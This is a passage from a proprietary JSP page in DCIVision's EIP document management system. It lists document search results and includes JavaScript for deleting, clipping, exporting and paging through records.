<%
/*
 * @(#)ListDmsSearchResult.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsSearchResult.jsp

  This is a ListDmsSearchResult page.  It shows the active documents' record in EIP.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      01/09/2005
    @version            $Revision: 1.47.2.29 $
*/
/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/08/25
 * BugID      : 6143
 * Description: Delete the shortCut with the document,
 *              when you delete document in advance search
 * Notes      : All searchResultDmsDocumentForm have be changed to editSearchDmsDocumentForm
 * *********************************************************************************************
 */

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.dao.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="editSearchDmsDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsDocumentForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>

<%
String      LIST_NAME = "dmsDocumentSearchList";

  String[][]  ADVANCE_SEARCH_LABEL_MAP = {
      {"ID", "ID"},
      {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
      {"dms.columnheader.item_status", GlobalConstant.NOT_AVAILABLE},
      {"dms.columnheader.profile_name", "PROFILE_NAME"},
      {"dms.columnheader.item_size", "ITEM_SIZE"},
      {"common.columnheader.update_date", "UPDATE_DATE"},
      {"common.columnheader.updater", "UPDATER_ID"}
    };
  
  String[][]  KEYWORK_SEARCH_LABEL_MAP = {
      {"ID", "ID"},
      {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
      {"dms.columnheader.item_status", GlobalConstant.NOT_AVAILABLE},
      {"common.columnheader.update_date", "UPDATE_DATE"}
    };

  int     COLUMN_OFFSET = 3;
  String sTifExist = "false";
  List resultList = new ArrayList();
 try{
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   String sCurFunctionCode = editSearchDmsDocumentForm.getCurFunctionCode();
  if (DmsOperationConstant.ATTR_NEST_FILTER_OPERATION.equals(editSearchDmsDocumentForm.getOpMode())) {
    resultList= request.getAttribute(LIST_NAME)==null? new ArrayList(): (List) request.getSession().getAttribute(LIST_NAME);
  }else{
    resultList= request.getAttribute(LIST_NAME)==null? new ArrayList(): (List) request.getAttribute(LIST_NAME);
  }
  int recordCount=0;
  /*
 *  Update Code Start
 *  Author                  joan.xiong
 *  Date                    2006/09/06
 *  Bug                     EIP-157
 */
  //if(resultList.size()>0){
  //  recordCount=((DmsDocument)resultList.get(0)).getRecordCount();
  boolean isReturnPage =false;
  if(resultList.size()>0){
    recordCount=((DmsDocument)resultList.get(0)).getRecordCount();
  isReturnPage = true;
   /*
  *  Update Code End
  */
  }
  SysUserDefinedIndexDAObject sysUserDefinedIndexDAObject =new SysUserDefinedIndexDAObject(sessionContainer, conn);
  List sysUserDefinedIndexList = new ArrayList();

  List workflowRelationshipList = (List)request.getAttribute("workflowRelationshipList");
  final List udfDetailList = (List) editSearchDmsDocumentForm.getUdfDetailList();
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  String showDefaultProfile = com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_LIST);
  String outerCriteria = (String) editSearchDmsDocumentForm.getOuterCriteria();
  String[] outerCriteriaValue = (String[]) request.getSession().getAttribute("outerCriteriaValue");
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  String rootID = editSearchDmsDocumentForm.getRootID();
  String parentID = editSearchDmsDocumentForm.getParentID();
  String sFromFolder = editSearchDmsDocumentForm.getFromFolder();
  String pageURL ="";

  boolean enableBulkSearch = com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_BULK_SEARCH);

/*
 *  Update Code Start
 *  Author                  joan.xiong
 *  Date                    2006/09/06��2006/11/21
 *  Bug                     EIP-157��EIP-938
 */
  //pageURL ="ListDmsSearchResult.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  //pageURL ="ListDmsSearchResult.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&advSearchOpt="+request.getParameter("advSearchOpt")+"&isReturnPage="+isReturnPage;
  pageURL ="EditSearchDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&advSearchOpt="+request.getParameter("advSearchOpt")+"&isReturnPage="+isReturnPage;
/*
 *  Update Code End
 */

   //Update By Jim Zhou         2006/12/05          EIP-1098
  DmsDocument tmpDocument = new DmsDocument();
  DocumentValidateManager docValidateManager = null;
  docValidateManager = new DocumentValidateManager(sessionContainer,conn);
  Integer curDocID = null;
  if (!Utility.isEmpty(parentID)){
    curDocID = new Integer(parentID);
  }
  //Update End

  pageURL =java.net.URLEncoder.encode(pageURL);

  String pageFlag ="SearchDmsDocument";
  boolean isLightVersion = sessionContainer.getAppContainer()!=null && sessionContainer.getAppContainer().isLightVersion();
  boolean enableTiffSearch = com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_TIFF_EXPORT);
  String documentID = request.getParameter("documentID");
  String advSearchOpt=editSearchDmsDocumentForm.getAdvSearchOpt();
  if(Utility.isEmpty(advSearchOpt)){
    advSearchOpt=request.getParameter("advSearchOpt");
  }
  String matchCriteria="";
  String searchPage="";
  if(DmsOperationConstant.ATTR_SEARCH_OPERATION.equals(advSearchOpt)){
    matchCriteria="dms.label.index_search";
    searchPage="INDEX_SEARCH";
  }else if(DmsOperationConstant.KEYWORD_SEARCH_OPERATION.equals(advSearchOpt)){
    matchCriteria="common.label.keyword_search";
    searchPage="KEY_WORD";
  }else if(DmsOperationConstant.ATTR_BULK_SEARCH_OPERATION.equals(advSearchOpt)){
    //Joan.xiong update code for bug EIP-177 by 2006/09/11
    //matchCriteria="common.label.keyword_search";
  matchCriteria="common.label.bulk_search";
  //update code end
    searchPage="BULK_SEARCH";
  }

%>

<script language="javascript">
<!--

//var g_curr_function_code = null;//joan.xiong add code for bug EIP-938 by 2006/11/21

 /* Jicle.Wang 6143 2006/08/25 Start */
var notAllowDeleteIDAry = new Array();
 /* Jicle.Wang 6143 2006/08/25 End   */
var clickedFlag = false;
var j=0;
var m=0;


//Add Start

function hideNewShortcutDialog(){
  frameDlg.hide();
}

function hideRelationshipDialog(){
  frameDlg.hide();
}

function doDeleteAction(isIgnore) {
  try {
    document.editSearchDmsDocumentForm.ignoreDeleteShortcut.value = "false";//(isIgnore ? "true" : "false");
    OpListDelete(document.editSearchDmsDocumentForm);
  }catch(e) {

  }
  hideRelationshipDialog();
}

function popupNewShortcut(url){
  try{
    frameDlg.setUrl(url);
    cClick();
    frameDlg.show();
  } catch(e) {

  }
}

//add end

function OpCustListDelete() {
  var selectedID = [parseInt(document.editSearchDmsDocumentForm.basicSelectedID.length)];
  var custSelectID="";
  var tmpSelect = 0;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if (document.editSearchDmsDocumentForm.basicSelectedID.length) {
    for (var i=0; i<parseInt(document.editSearchDmsDocumentForm.basicSelectedID.length); i++) {
      if (document.editSearchDmsDocumentForm.basicSelectedID[i].checked==true) {
        m++;
        if(custSelectID==""){
          custSelectID=document.editSearchDmsDocumentForm.basicSelectedID[i].value;
        }else{
          custSelectID=custSelectID+","+document.editSearchDmsDocumentForm.basicSelectedID[i].value;
        }
        if (document.editSearchDmsDocumentForm.hasRelationship[i].value=="true") {
          selectedID[tmpSelect]=document.editSearchDmsDocumentForm.basicSelectedID[i].value;
          j++;tmpSelect++;
        }
      }
    }
    if (tmpSelect>0) {
      popupRelationshipWarning('',null,null,'delete','',selectedID);
    }
  } else {
    custSelectID = document.editSearchDmsDocumentForm.basicSelectedID.value;
    if(document.editSearchDmsDocumentForm.basicSelectedID.checked==true){
      m++;
      if(document.editSearchDmsDocumentForm.hasRelationship.value=="true"){
        j++;tmpSelect++;
        selectedID=document.editSearchDmsDocumentForm.basicSelectedID.value;
        popupRelationshipWarning(selectedID,null,null,'delete');
      }
    }
  }

  if(tmpSelect==0) {
    var hasChecked = false;

  for (var i = 0; i < document.editSearchDmsDocumentForm.elements.length; i++) {
    if (document.editSearchDmsDocumentForm.elements[i].name == "basicSelectedID") {
      if (document.editSearchDmsDocumentForm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }

  if (!hasChecked) {
    alert(MSG_NO_RECORD_SELECTED);
    return(false);
  }

  if (!confirm(MSG_CONFIRM_DELETE_RECORDS)) {
    return(false);
  }
  frm.deleteSelectID.value=custSelectID;
  frm.opMode.value = OP_MODE_LIST_DELETE;
  frm.navMode.value = "";
  return OpSubmit(frm);
  }
}

//Add Start

function hideRelationshipDialog(){
  frameDlg.hide();
}

function doDeleteAction(isIgnore) {
  try {
    document.editSearchDmsDocumentForm.ignoreDeleteShortcut.value = "false";//(isIgnore ? "true" : "false");
    OpListDelete(document.editSearchDmsDocumentForm);
  }catch(e) {

  }
  hideRelationshipDialog();
}

//add end

 /* Jicle.Wang 6143 2006/08/25 Start */
function OpCustListDeleteNew(frm){
  var blnNotAllowDelete = false;
  var blnNotHasChecked = true;
  var urlQueryString = "";
  if (frm==null) frm = document.editSearchDmsDocumentForm;
  var form = document.editSearchDmsDocumentForm;
  var basicSelectedID = document.editSearchDmsDocumentForm.basicSelectedID;
  // no checkbox item lee 06/11/17
  if (basicSelectedID==null) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }
  // no checkbox item lee 06/11/17
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  var notPermissionID = notAllowDeleteIDAry;
  if (!notAllowDeleteIDAry.length) {
    notPermissionID = new Array(notAllowDeleteIDAry);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      blnNotHasChecked = false;
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
      for (var k=0; k<notPermissionID.length; k++) {
        if (basicSelectedID[i].value == notPermissionID[k]) {
          basicSelectedID[i].checked =false;
          blnNotAllowDelete = true;
        }
      }
    }
  }
  if (blnNotHasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }else if (blnNotAllowDelete) {
    alert("<bean:message key='dms.message.no_right_delete_doc'/>");
    return false;
  }else {
    send_request("<%= request.getContextPath() %>/jsp/dms/GetDmsRelationships2.jsp?"+urlQueryString+"&date="+new Date());
    var relationshipIds = http_request.responseText;
    var relationshipWarningURL = "<%= request.getContextPath() %>/dms/RelationshipWarning.do?";
    if (relationshipIds.indexOf("RETIDS")!=-1) {
      relationshipWarningURL += relationshipIds.substring(relationshipIds.indexOf("RETIDS")+6);
      relationshipWarningURL += "&formName="+frm.name+"&date="+new Date();
      frameDlg.setUrl(relationshipWarningURL);
      frameDlg.show();
      //OpenCenteredPopup(relationshipWarningURL+"&formName="+frm.name+"&date="+new Date(), "RelationshipWarning", "800", "400", "scrollbars=yes,resizable=no");
      return false;
    }else if (relationshipIds.indexOf("ERROR")!=-1) {
      alert("Error cause by:"+relationshipIds);
      return false;
    }else {
      return OpListDelete(frm);
    }
  }
}
 /* Jicle.Wang 6143 2006/08/25 End   */
function CustOpCheckin(documentID, parentID, rootID, curFunctionCode, lockUserID, curUserID, navMode,hasRelationship,returnTo){
  if(hasRelationship==true){
    popupRelationshipWarning(documentID,parentID,rootID,'update',lockUserID);
  }else{
    return OpCheckin(documentID,parentID,rootID,curFunctionCode,lockUserID,curUserID,navMode,returnTo);
  }
}

function OpExport() {
  if (clickedFlag) {
    if (popupWin) {
      popupWin.focus();
    }
  } else {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    frm.closeFlag.value ='2';
    frm.opMode.value="<%=DmsOperationConstant.ATTR_EXPORT_OPERATION%>";
    frm.searchResultOpt.value="<%=DmsOperationConstant.SEARCH_RESULT_ALL%>";
    loadingTo(null, true);
    frm.submit();
    clickedFlag = true;
    return false;
  }
}

function ResultOpExport() {
  if (clickedFlag) {
    if (popupWin) {
      popupWin.focus();
    }
  } else {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    frm.closeFlag.value ='2';
    OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
    frm.opMode.value="<%=DmsOperationConstant.RESULT_EXPORT_OPERATION%>";
    frm.searchResultOpt.value="<%=DmsOperationConstant.SEARCH_RESULT_ALL%>";
    frm.submit();
    clickedFlag = true;
    return false;
  }
}

function OpCombineTif() {
  if (clickedFlag) {
    if (popupWin) {
      popupWin.focus();
    }
  } else {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    if (document.editSearchDmsDocumentForm.tifExist.value=='true'){
      frm.closeFlag.value ='2';
      //OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes');
      frm.opMode.value="<%=DmsOperationConstant.ATTR_COMBINE_TIFF_OPERATION%>";
      frm.searchResultOpt.value="<%=DmsOperationConstant.SEARCH_RESULT_ALL%>";
      frm.submit();
      clickedFlag = true;
      return false;
    } else{
      alert("<bean:message key='dms.message.cannot_export_tif_file'/>");
      return (false);
    }
  }
}

function OpCustClipboard(frm){

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        if ('<%=DmsVersion.EXCLUSIVE_LOCK%>'==(eval("frm.itemStatus_"+frm.elements[i].value).value)){
          alert('<bean:message key='dms.message.checkout_not_clipped'/>')
          return false;
          break;
        }//end if
      }//end if
    }//end if
  }//end for

 return  OpClipboard(frm);

}

function getMatchCriteria(){
  //replace submit with showTab method (lee 06/11/16 EIP-945)
  var searchPageName = '<%=searchPage%>';
  var searchTabName = null;
  switch (searchPageName) {
    case 'INDEX_SEARCH': searchTabName = 'advSearchTab'; break;
    case 'KEY_WORD': searchTabName = 'keySearchTab'; break;
    case 'BULK_SEARCH': searchTabName = 'bulkSearchTab'; break;
  }
  showTab(searchTabName);
  /*
  for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
  }
  frm.action="EditSearchDmsDocument.do?searchPage=<%=searchPage%>";
  //frm.advSearchOpt.value="";
  //frm.searchPage.value="<%=searchPage%>";
  frm.submit();
  */
}

function PagerGoto(value, navMode) {
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  frm.curPageNO.value = value;
  frm.lastPageNO.value='<%=(String)request.getAttribute("lastPageNo")%>'
  frm.cursor.value='<%=(String)request.getAttribute("cursor")%>';
  frm.pageAmount.value='<%=(String)request.getAttribute("pageAmount")%>';
  frm.navMode.value = NAV_MODE_LIST;
  frm.submit();
  return (false);
}

//Update Code Start
//Author                Jim.Zhou
//Date                  2006/04/04
function OpSearchValidate(){
  document.editSearchDmsDocumentForm.curPageNO.value="";
  document.editSearchDmsDocumentForm.lastPageNO.value="";
  document.editSearchDmsDocumentForm.pageAmount.value="";
  document.editSearchDmsDocumentForm.cursor.value="";
  document.editSearchDmsDocumentForm.curStartRowNo.value = 1;
  var folderSelected = false;
  var criteriaSelected = false;
  if(document.editSearchDmsDocumentForm.searchFolder){
    if (document.editSearchDmsDocumentForm.searchFolder.length) {
      for ( var i=0; i<document.editSearchDmsDocumentForm.searchFolder.length; ++i ) {
        if ( document.editSearchDmsDocumentForm.searchFolder[i].checked ) { folderSelected = true; }
      }
    } else {
      if (document.editSearchDmsDocumentForm.searchFolder.checked == true) {
        folderSelected = true;
      }
    }
  }

  if ( !folderSelected ) {
    alert("<bean:message key='dms.message.location_required'/>");
    return false;
  }
  if (document.editSearchDmsDocumentForm.documentName.value!=''){
     criteriaSelected = true;
  }
  if (document.editSearchDmsDocumentForm.effectiveStartDate.value!=''){
     criteriaSelected = true;
  }
  if (document.editSearchDmsDocumentForm.effectiveEndDate.value!=''){
    criteriaSelected = true;
  }


  for(var j=0;j<document.editSearchDmsDocumentForm.searchPriority.length;j++){
    if(document.editSearchDmsDocumentForm.searchPriority[j].checked == true){
      criteriaSelected = true;
      break;
    }

  }

  if (document.editSearchDmsDocumentForm.referenceNo.value!=''){
    criteriaSelected = true;
  }
  if (document.editSearchDmsDocumentForm.description.value!=''){
    criteriaSelected = true;
  }
  if(document.editSearchDmsDocumentForm.createDate.value!=''){
    criteriaSelected = true;
  }
  if(document.editSearchDmsDocumentForm.createToDate.value!=''){
    criteriaSelected = true;
  }
  if(document.editSearchDmsDocumentForm.updateDate.value!=''){
    criteriaSelected = true;
  }
  if(document.editSearchDmsDocumentForm.updateToDate.value!=''){
    criteriaSelected = true;
  }

  if(document.editSearchDmsDocumentForm.documentType.value!=''){
    criteriaSelected = true;
  }

  if(document.editSearchDmsDocumentForm.creatorID.value!=''){
    criteriaSelected = true;
  }

  if (document.editSearchDmsDocumentForm.userDefinedFieldID.value!=''){
    criteriaSelected = true;
  }

  /*
   *    Update Code Start
   *    Author              Jim.Zhou
   *    Date                    2006/04/29
   *    Bug                     #4812
   */
  if (document.editSearchDmsDocumentForm.keyword.value!=''){
    criteriaSelected = true;
  }
  /*
   *    Update Code End
   */

  if (!criteriaSelected){
    alert("<bean:message key='dms.message.criteria_required'/>");
    return false;
  }
 if(document.editSearchDmsDocumentForm.documentName.value=='OR'||document.editSearchDmsDocumentForm.documentName.value=='AND'){
    alert("<bean:message key='dms.message.search_criteria'/>");
  return false;
 }
 if (document.editSearchDmsDocumentForm.referenceNo.value=='OR'||document.editSearchDmsDocumentForm.referenceNo.value=='AND'){
    alert("<bean:message key='dms.message.search_criteria'/>");
  return false;
 }
 if(document.editSearchDmsDocumentForm.description.value=='OR'||document.editSearchDmsDocumentForm.description.value=='AND'){
    alert("<bean:message key='dms.message.search_criteria'/>");
  return false;
 }
}
//Update Code End

function OpList(frm, sortValue, sortOrder, navMode) {
  frm.curPageNO.value="";
  frm.lastPageNO.value="";
  frm.pageAmount.value="";
  frm.cursor.value="";
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  //Update Code Start
  //Author              Jim.Zhou
  //Date                    2006-04-04
  if(OpSearchValidate()==false){
    //frm.submit();
    return false;
  }
  //Update Code End

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;

  frm.opMode.value = NAV_MODE_LIST;
  frm.navMode.value = NAV_MODE_LIST;
  if (navMode!=null) {
    frm.navMode.value = navMode;
  }

  frm.submit();
  return false;
} // end of the 'OpList()' function

function PagerGotoPage(frm, value, navMode) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  document.forms[frm].curStartRowNo.value = value;
  document.forms[frm].navMode.value = NAV_MODE_LIST;
  //document.forms[frm].opMode.value = "";
  if (navMode!=null) {
    document.forms[frm].navMode.value = navMode;
  }
  document.forms[frm].submit();
  return (false);
}
-->
</script>
<%try{%>
<input type="hidden" name="ignoreDeleteShortcut" value="false">
<!-- Table Heading Begin -->

<%
    if ("N".equals(request.getParameter("includeKeywordTab"))) {
    	String search_link="EditSearchDmsDocument.do?curFunctionCode="
    	+TextUtility.noNull(sCurFunctionCode)+"&advSearchOpt="
    	+advSearchOpt+"&searchPage="+searchPage+"&opMode="+DmsOperationConstant.SEARCH_EDIT_CRITERIA;
%>
<div id='topButtonArea'>
  	<div id='buttonSection' class="buttonContainer">
		<html:standardButton label="dms.label.search_edit_criteria" link='<%=search_link %>'/>
    </div>
</div>
<layout:listBar>
    <div class="button">
    <!--exporting search result-->
    <%if(!isLightVersion){%>
        <%if (resultList.size() > 0) {  %>
        <html:colheaderButton label="dms.message.document_Zip_export_mode" onClick="return OpExport();"/>
            <%if (enableTiffSearch){%>
               <html:colheaderButton label="dms.label.document_Tif_exprot" onClick="return OpCombineTif();"/>
            <%}%>
            <%//Updatet By Jim Zhou         2007/01/25          EIP-187%>
            <%if(DmsOperationConstant.ATTR_SEARCH_OPERATION.equals(advSearchOpt) || (DmsOperationConstant.ATTR_BULK_SEARCH_OPERATION.equals(advSearchOpt) && enableBulkSearch) ){%>
                <html:colheaderButton label="dms.message.document_excel_export_mode" onClick="return ResultOpExport();"/>
            <%}%>
        <%}%>
    <%}%>
    <html:colheaderButton label="common.label.delete" onClick="return(OpCustListDeleteNew(editSearchDmsDocumentForm))"/>
    <html:colheaderButton label="dms.label.clip" onClick="return(OpCustClipboard(editSearchDmsDocumentForm))"/>
    </div>
    </layout:listBar>
<%
    }
%>

<div id="dataGrid" class="listTable">
<table class="searchResultTable">
<%
    if ("N".equals(request.getParameter("includeKeywordTab"))) { // Advance search result list.
%>
  <layout:columnHeader form="editSearchDmsDocumentForm" editLabel="" labelMap="<%=ADVANCE_SEARCH_LABEL_MAP%>" sortAttribute="<%=editSearchDmsDocumentForm.getSortAttribute()%>" sortOrder="<%=editSearchDmsDocumentForm.getSortOrder()%>" copyColumn="false"  showValue="<%=showDefaultProfile%>" displayObjListName="DMS_DEF_PROFILE" showAfter="4"/>
  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <% outerCriteria = ((DmsDocument) dmsDocument).getOuterCriteria();%>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
    <%DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    DmsDocument documentRoot = new DmsDocument();
    Integer checkoutPersonID = new Integer("0");
    String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) dmsDocument).getCheckoutID());
       checkoutPersonID = checkoutHistory.getCheckoutPersonID();
    }
    //Permission string
    documentRoot = docRetrievalManager.getRootFolderByRootID(((DmsDocument) dmsDocument).getRootID());
    String permission = "";
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      permission = "PERSONAL";
    } else {
      //Bill add EIP-2028
      permission = (String) permissionManager.filterDocumentPermissionByWorkflow(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsDocument) dmsDocument).getID());
    }
    %>
    <%--/* Jicle.Wang 6143 2006/08/25 Start */--%>
    <%
      String permissionNew = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsDocument)dmsDocument).getID());
      if (permissionNew==null || permissionNew.indexOf("D")==-1 || DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus) || DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) {
    %>
      <script language="JavaScript">
        <!--
        notAllowDeleteIDAry[notAllowDeleteIDAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
        -->
      </script>
   <%
  }
    %>
    <%-- /* Jicle.Wang 6143 2006/08/25 End   */--%>
    <td align="center">
      <%//Update By Jim Zhou                2006/12/05          EIP-1098
      if (DmsDocument.DOCUMENT_LINK.equals(((DmsDocument)dmsDocument).getDocumentType())){
        DmsDocument targetDoc =docRetrievalManager.getRelationshipTargetDocument(((DmsDocument)dmsDocument).getID(),((DmsDocument)dmsDocument).getDocumentType());
        if(targetDoc!=null){
          tmpDocument = targetDoc;
        }else{
          tmpDocument =(DmsDocument) dmsDocument;
        }
      }else{
        tmpDocument =(DmsDocument) dmsDocument;
      }%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus) && (!docValidateManager.checkExpireDocumentByOwner(tmpDocument))) { %>
        <%if(!isLightVersion){%>
           <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
        <%}else{%>
           <logic:permission right='D' objectType='D' objectID='<%=curDocID%>'>
             <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
             <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
           </logic:permission>
        <%}%>
      <%}else {%>
      		<logic:permission right='' objectType='D' objectID='<%=curDocID%>'>
             <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
             <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
           </logic:permission>
      <%} %>

  </td>
  <td align="center"><dms:contextMenu/>
    </td>
    <td class="searchResultItemsList">
    <ul>
      <li class="documentTitle">
      <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>'  pageFlag='<%=pageFlag%>'/>
      </li>
      <li class="documentPath">
      <% if (((DmsDocument)dmsDocument).getParentID().intValue() !=0 ) {
      %>
      <dms:locationPath parentID="<%=((DmsDocument)dmsDocument).getParentID()%>" rootID="<%=((DmsDocument)dmsDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>'/>
      <%}else{%>
      <bean:message key='dms.label.root'/>
      <%}%>
      </li>
    </ul>
    </td>
    <td>
    	<input type="hidden" name='itemStatus_<bean:write name='dmsDocument' property='ID'/>' value='<%=docItemStatus%>'/>
    	<dms:documentStatus/>
    </td>
    <td>
 <%SysUserDefinedIndex udf = (SysUserDefinedIndex)docRetrievalManager.getUserDefinedFieldByDocument(((DmsDocument) dmsDocument));
      if (udf!=null) {
          out.println(udf.getUserDefinedType());
        }else{
          out.println("-");
        }%>
    </td>
<dms:commonIndex id="setting" includeSystemProfile="true" enableDisplayFilter="true" documentBean="dmsDocument">
    <td><dms:commonIndexValue/></td>
    </dms:commonIndex>
            <td>
<%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType())||
            DmsDocument.COMPOUND_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType()) ||
            DmsDocument.EMAIL_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType()) ||
            DmsDocument.FORM_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType()) ||
            DmsDocument.FLOW_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType())) {
          int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
        }else{
          out.println("-");
        }%>
            </td>
    <td><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
            <td>
                <bean:write name='dmsDocument' property='updaterName'/>
            </td>
    <%Integer docID = ((DmsDocument)dmsDocument).getID();
    if (((DmsDocument)dmsDocument).getDocumentName().toUpperCase().indexOf("TIF") > 0){
      sTifExist = "true";
    }
    %>

  </logic:iterate>
<%
    } else { // Keyword search result list.
%>
  <!-- Table Column Header Begin -->
  <layout:columnHeader form="editSearchDmsDocumentForm" editLabel="" labelMap="<%=KEYWORK_SEARCH_LABEL_MAP%>" sortAttribute="<%=editSearchDmsDocumentForm.getSortAttribute()%>" sortOrder="<%=editSearchDmsDocumentForm.getSortOrder()%>" copyColumn="false"/>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->

  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <% outerCriteria = ((DmsDocument) dmsDocument).getOuterCriteria();%>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
    <%DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    DmsDocument documentRoot = new DmsDocument();
    Integer checkoutPersonID = new Integer("0");
    String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) dmsDocument).getCheckoutID());
